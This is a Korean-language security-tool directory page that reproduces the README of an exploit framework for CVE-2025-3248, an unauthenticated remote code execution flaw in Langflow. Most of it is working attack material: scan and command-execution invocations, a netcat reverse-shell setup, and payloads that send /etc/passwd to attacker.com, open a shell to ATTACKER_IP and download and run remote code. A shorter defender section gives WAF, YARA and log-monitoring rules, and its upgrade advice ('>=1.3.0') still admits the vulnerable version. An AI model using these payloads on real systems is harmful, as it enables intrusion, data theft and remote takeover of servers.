Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-3248-exploit — CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크로, Langflow 버전 ≤ 1.3.0에서 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다. | Kitploit
도구/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Vulnerability ScannersCode AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
39개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
drackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크로, Langflow 버전 ≤ 1.3.0에서 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다.

저장소 보기

CVE-2025-3248: Langflow 무인증 RCE 취약점 스캐너

License Python Status CVSS EPSS

Langflow 버전 ≤ 1.3.0에 영향을 미치는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크입니다.


🔴 취약점 개요

CVE-2025-3248: Langflow 코드 삽입 RCE

속성값
CVE IDCVE-2025-3248
제품Langflow
영향을 받는 버전≤ 1.3.0
취약점 유형무인증 원격 코드 실행 (RCE)
공격 경로네트워크
인증 필요없음
CVSS 점수9.8 (치명적)
EPSS 점수92.57%
CWECWE-94 (코드 생성의 부적절한 제어)
취약 엔드포인트/api/v1/validate/code

근본 원인

이 취약점은 임의의 Python 코드를 허용하고, 적절한 입력 검증(sanitization)이나 샌드박싱 없이 Python의 안전하지 않은 exec() 함수를 사용하여 이를 검증하는 /api/v1/validate/code API 엔드포인트에 존재합니다. 이 취약점은 다음과 같은 Python의 동작을 악용합니다:

  1. 데코레이터는 함수 정의 중에 즉시 평가됩니다
  2. 기본 인자 값은 추상 구문 트리(AST) 파싱 중에 실행됩니다
  3. 악성 코드 실행을 방지하기 위한 입력 검증이 없습니다

공격 체인

root@kitploit:~
Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ 기능

  • ✅ 엔드포인트 탐지: 취약한 Langflow 인스턴스를 자동으로 식별합니다
  • ✅ 다단계 테스트: 4단계의 점진적 취약점 테스트
  • ✅ 명령 실행: 대상에서 임의의 시스템 명령 실행
  • ✅ 환경 변수 추출: 환경 변수 및 구성 정보 검색
  • ✅ 파일 작업: 파일 읽기/쓰기 기능 테스트
  • ✅ 리버스 셸 지원: 대화형 리버스 셸 세션 생성
  • ✅ 버전 탐지: Langflow 버전 정보 식별
  • ✅ 색상 구분 출력: 터미널 색상으로 가독성 향상
  • ✅ 타임아웃 관리: 구성 가능한 요청 타임아웃
  • ✅ SSL/TLS 우회: 자체 서명 인증서 지원

📦 요구 사항

root@kitploit:~
Python >= 3.7
requests >= 2.25.0

의존성 설치

root@kitploit:~
pip install requests

선택 사항 (더 나은 로깅을 위해)

root@kitploit:~
pip install colorama  # For Windows color support

🚀 설치

방법 1: GitHub에서 클론

root@kitploit:~
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 사용법

기본 구문

root@kitploit:~
python3 cve_2025_3248_test.py -t <target_url> [options]

빠른 시작 예제

1. 기본 취약점 스캔

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com

2. 사용자 지정 명령 실행

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. 여러 명령 실행

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. 리버스 셸 익스플로잇 (승인된 테스트 전용)

1단계: 자신의 머신에서 netcat 리스너 시작

root@kitploit:~
nc -lvnp 4444

2단계: 익스플로잇 실행

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

예시:

root@kitploit:~
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. 사용자 지정 타임아웃으로 스캔

root@kitploit:~
python3 cve_2025_3248_test.py -t http://target.com --timeout 30

명령줄 인자

root@kitploit:~
positional arguments:
  None

optional arguments:
  -t, --target TARGET       Target URL (e.g., http://target.com) [REQUIRED]
  -c, --command COMMAND     Command to execute (default: id)
  --timeout TIMEOUT         Request timeout in seconds (default: 10)
  --exploit                 Enable exploitation mode (reverse shell)
  --lhost LHOST            Your IP address for reverse shell
  --lport LPORT            Your port for reverse shell
  -h, --help               Show this help message

💾 페이로드 변형

1. 데코레이터 기반 실행

root@kitploit:~
payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. 기본 인자 실행

root@kitploit:~
payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. 데이터 유출

root@kitploit:~
payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. 리버스 셸 (원라이너)

root@kitploit:~
payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. 파일 읽기 작업

root@kitploit:~
payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. 환경 변수 열거

root@kitploit:~
payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. 다운로드 및 실행

root@kitploit:~
payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 탐지 및 완화

방어자를 위한

즉시 조치

  1. Langflow 업그레이드

    root@kitploit:~
    pip install langflow>=1.3.0
    # or
    docker pull langflow:latest
    
  2. 네트워크 접근 제한

    root@kitploit:~
    # Nginx reverse proxy - block vulnerable endpoint
    location /api/v1/validate/code {
        deny all;
    }
    
  3. 인증 구현

    root@kitploit:~
    # Add authentication middleware
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

WAF 규칙

ModSecurity 규칙:

root@kitploit:~
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

탐지 규칙

YARA 시그니처:

root@kitploit:~
rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

모니터링 및 로깅

root@kitploit:~
# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

침해 지표 (IoCs)

  • /api/v1/validate/code에 대한 비정상적인 POST 요청
  • 의심스러운 이름의 Langflow에서 생성된 프로세스
  • Langflow 서버에서의 예상치 못한 아웃바운드 연결
  • /tmp에 비정상적인 타임스탬프로 생성된 파일
  • Langflow 프로세스에서의 Python 하위 프로세스 실행
  • API 요청에 이어진 인증 실패
  • Langflow 컨테이너의 CPU/메모리 사용량 급증

🔬 기술 분석

취약점의 작동 원리

취약점 체인은 다음과 같이 작동합니다:

root@kitploit:~
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Server processes it:
exec(code)  # ← Dangerous! No sanitization

# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')

# Result: Arbitrary command execution

데코레이터가 작동하는 이유

함수 정의 중 데코레이터에 대한 Python의 동작:

root@kitploit:~
# This code gets executed immediately:
@decorator_expression
def my_function():
    pass

# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
    pass

왜 치명적인가

  1. 인증 불필요: 누구나 엔드포인트에 접근할 수 있습니다
  2. 네트워크 접근 가능: 원격으로 악용될 수 있습니다
  3. 전체 시스템 접근: Langflow 프로세스 권한으로 실행됩니다
  4. 입력 검증 없음: 직접적인 코드 실행
  5. 광범위한 배포: 프로덕션 환경에서 사용됨
  6. 높은 익스플로잇 가용성: 공개된 PoC 존재

📊 취약점 타임라인


🛡️ 방어 테스트 체크리스트

승인된 보안 테스트를 수행할 때:

  • 테스트 전에 서면 승인을 받으세요
  • 모든 테스트 활동을 문서화하세요
  • 가능하면 격리된 테스트 환경을 사용하세요
  • 불필요하게 프로덕션 시스템을 악용하지 마세요
  • 테스트 중 생성된 모든 아티팩트(파일, 프로세스)를 정리하세요
  • 대상 조직에 발견 사항을 책임감 있게 보고하세요
  • 책임 있는 공개 관행을 따르세요
  • 테스트 결과의 기밀성을 유지하세요

📚 참고 자료

  • OffSec 블로그: CVE-2025-3248 분석
  • SentinelOne: Langflow 코드 삽입 RCE
  • Zscaler ThreatLabz: CVE-2025-3248 RCE 취약점
  • TrendMicro: FLODRIC 봇넷 악용
  • RecordedFuture: 활발한 악용 보고서
  • Exploit-DB: Langflow 1.3.0 RCE
  • GitHub 보안 권고: GHSA-c995-4fw3-j39m


🤝 기여

기여를 환영합니다! 다음 지침을 따라주세요:

  1. 저장소를 포크하세요
  2. 기능 브랜치를 생성하세요 (git checkout -b feature/amazing-feature)
  3. 변경 사항을 커밋하세요 (git commit -m 'Add amazing feature')
  4. 브랜치에 푸시하세요 (git push origin feature/amazing-feature)
  5. 풀 리퀘스트를 여세요

기여 아이디어

  • 추가 페이로드 변형
  • 대체 익스플로잇 기법
  • 탐지 우회 방법
  • 완화 전략
  • 문서 개선
  • 버그 수정


⚠️ 면책 조항

중요 법적 고지:

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 다음을 포함한 법률을 위반합니다:

  • 컴퓨터 사기 및 남용 법안 (CFAA) - 미국
  • 컴퓨터 오용 법안 - 영국
  • 정보 기술 법안 (ITA) - 인도
  • 귀하의 관할권의 유사한 법률

귀하는 다음 사항에 대해 전적인 책임이 있습니다:

  • ✅ 테스트 전에 시스템 소유자로부터 명시적인 서면 승인을 받는 것
  • ✅ 모든 활동이 국내 및 국제법을 준수하도록 하는 것
  • ✅ 소유하거나 테스트 권한이 있는 시스템에서만 이 도구를 사용하는 것
  • ✅ 보안 발견 사항의 기밀성을 유지하는 것
  • ✅ 책임 있는 공개 관행을 따르는 것
  • ✅ 악의적인 목적으로 이 도구를 사용하지 않는 것

이 도구를 사용함으로써 귀하는 다음에 동의합니다:

  • 무단 접근이나 손상을 위해 사용하지 않을 것
  • 귀하의 행동에 대한 전체 법적 책임을 수락할 것
  • 제작자를 모든 책임으로부터 면책하고 보호할 것
  • 적용 가능한 모든 법률과 규정을 준수할 것

제작자와 기여자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.

📖 추가 자료

학습 자료

  • OWASP 코드 삽입
  • CWE-94: 코드 생성의 부적절한 제어
  • Python 보안: exec() 위험성
  • 리버스 셸 기법

최종 업데이트: 2025년 11월 21일


root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║  CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0  ║
║  Use Responsibly - Authorized Testing Only               ║
╚═══════════════════════════════════════════════════════════╝
도구 다운로드
날짜이벤트
2025-04-06취약점 발견 및 Langflow 팀에 보고
2025-04-17공개 익스플로잇 공개 (Exploit-DB)
2025-05-14FortiguardLabs 확산 경보 발령
2025-05-21Zscaler ThreatLabz 분석 게시
2025-05-22RecordedFuture, 활발한 악용 보고
2025-06-16TrendMicro, FLODRIC 봇넷 악용 보고
2025-06-17OffSec 종합 분석 게시
2025-11-05SentinelOne 취약점 데이터베이스 등재
2025-11-20지속적인 악용 시도 관찰